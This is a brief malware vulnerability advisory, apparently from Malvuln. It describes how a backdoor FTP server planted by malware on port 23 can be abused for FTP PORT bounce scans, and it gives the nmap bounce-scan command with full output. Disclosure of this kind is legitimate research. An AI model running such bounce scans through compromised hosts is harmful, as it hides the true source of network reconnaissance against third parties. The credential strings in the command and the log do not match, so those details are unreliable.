Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0_B.txt
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server on TCP port 23. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Vuln ID: MVID-2022-0569
C:\>nmap -n -Pn -b test:email@example.com:23 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-20 14:50 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://test:firstname.lastname@example.org:23
Connected:220 CAFEiNi 1.1 FTP server
Login credentials accepted by FTP server!
Initiating Bounce Scan at 14:50
Changed my mind about port 22
Changed my mind about port 21
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 14:50, 2.21s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds
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